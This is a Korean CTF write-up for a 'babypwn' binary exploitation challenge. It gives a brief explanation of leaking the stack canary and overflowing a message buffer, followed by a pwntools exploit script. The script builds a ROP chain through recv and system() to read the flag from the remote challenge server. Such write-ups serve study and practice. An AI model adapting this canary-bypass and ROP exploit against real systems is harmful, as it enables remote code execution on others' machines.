취약점이 존재하는 부분이다. babypwn 이기에 어렵지 않다.
먼저 canary leak 을 통해 canary 값을 알아낸 후, Message 입력을 통해 canary 값과 payload를 위치에 맞게 넣어 overflow 를 일으키면 RET 주소를 control 할 수 있다.
# exploit.py
from pwn import *
binary = ELF('./babypwn')
p = remote('110.10.212.130', 8889)
canary = 0xd39b6e00
ppppr = 0x08048eec
bss = 0x0804b1b4
system_libc = 0xf75af190
shell = "cat flag>&4\00"
payload = 'A'*40 + p32(canary) + 'A'*12
payload += p32(binary.plt['recv']) + p32(ppppr) + p32(4) + p32(bss) + p32(len(shell) + 1) + p32(0)
payload += p32(system_libc) + 'AAAA' + p32(bss)
print p.recvuntil('menu > ')
p.sendline('1\n')
print p.recvuntil('Message : ')
p.sendline(payload + '\n')
print p.recvuntil('menu > ')
p.sendline('3\n')
p.sendline(shell)
print p.recv(1024)
'ctf' 카테고리의 다른 글
[CodeGate 2017 CTF] angrybird (0) | 2017.02.22 |
---|---|
[CodeGate 2017 CTF] messenger (0) | 2017.02.22 |
[pwnable.tw] start (0) | 2017.02.06 |
[Christmas 2016 CTF] solo (0) | 2017.02.04 |
[TJCTF 2016 CTF] oneshot (0) | 2017.01.20 |